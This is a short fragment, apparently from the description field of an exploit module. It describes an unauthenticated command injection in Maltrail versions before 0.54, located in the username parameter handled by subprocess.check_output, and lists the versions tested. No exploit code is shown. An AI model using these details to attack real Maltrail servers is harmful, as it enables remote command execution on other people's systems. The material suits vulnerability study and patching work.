'Name' => 'Maltrail Unauthenticated Command Injection',
|
|
'Description' => %q{
|
|
Maltrail is a malicious traffic detection system, utilizing publicly
|
|
available blacklists containing malicious and/or generally suspicious trails.
|
|
The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
|
|
The `subprocess.check_output` function in `mailtrail/core/http.py` contains
|
|
a command injection vulnerability in the `params.get("username")` parameter.
|
|
An attacker can exploit this vulnerability by injecting arbitrary OS commands
|
|
into the username parameter. The injected commands will be executed with the
|
|
privileges of the running process. This vulnerability can be exploited remotely
|
|
without authentication.
|
|
|
|
Successfully tested against Maltrail versions 0.52 and 0.53.
